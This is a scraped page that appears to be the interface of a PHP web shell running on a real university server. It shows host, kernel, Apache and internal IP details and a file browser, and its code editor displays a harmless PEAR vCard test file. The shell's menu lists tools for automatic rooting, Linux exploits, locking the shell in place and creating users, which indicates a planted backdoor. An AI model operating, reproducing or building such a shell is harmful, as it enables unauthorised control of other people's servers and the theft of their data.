Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
test /
Contact_Vcard_Build /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
AllTests.php
3.46
KB
-rw-r--r--
bug-15348.phpt
1.44
KB
-rw-r--r--
build-email.phpt
985
B
-rw-r--r--
build-foobar.phpt
1019
B
-rw-r--r--
build-johndoe.phpt
2.21
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bug-15348.phpt
--TEST-- For bug: #15348 --CREDITS-- Sixto Mart�n <smartin at yaco dot es> --SKIPIF-- <?php @include_once 'Contact/Vcard/Parse.php'; @include_once 'Contact/Vcard/Build.php'; if (!class_exists('Contact_Vcard_Parse')) { die('SKIP This test requires Contact_Vcard_Parse'); } if (!class_exists('Contact_Vcard_Build')) { die('SKIP This test requires Contact_Vcard_Build'); } --FILE-- <?php // set to CVS's //$buildDir = realpath(dirname(__FILE__) . '/../'); //$parseDir = realpath(dirname(__FILE__) . '/../../Contact_Vcard_Parse'); //set_include_path($buildDir . ':' . $parseDir . ':' . get_include_path()); // report all errors error_reporting(E_ALL); // include the class file require_once 'Contact/Vcard/Parse.php'; require_once 'Contact/Vcard/Build.php'; // instantiate a parser object $parse = new Contact_Vcard_Parse(); $vcard = new Contact_Vcard_Build(); $vcard_text = <<<EOVCARD BEGIN:VCARD VERSION:3.0 N:Frank Dawson FN:Frank Dawson URL:http://home.earthlink.net/~fdawson END:VCARD EOVCARD; // parse it $data = $parse->fromText($vcard_text, true); // build it $vcard->setFromArray($data[0]); // print builded vcard $text = trim($vcard->fetch()); // compare var_dump($text, $vcard_text); --EXPECT-- string(121) "BEGIN:VCARD VERSION:3.0 PROFILE:VCARD FN:Frank Dawson N:Frank Dawson;;;; URL:http://home.earthlink.net/~fdawson END:VCARD" string(103) "BEGIN:VCARD VERSION:3.0 N:Frank Dawson FN:Frank Dawson URL:http://home.earthlink.net/~fdawson END:VCARD"
Close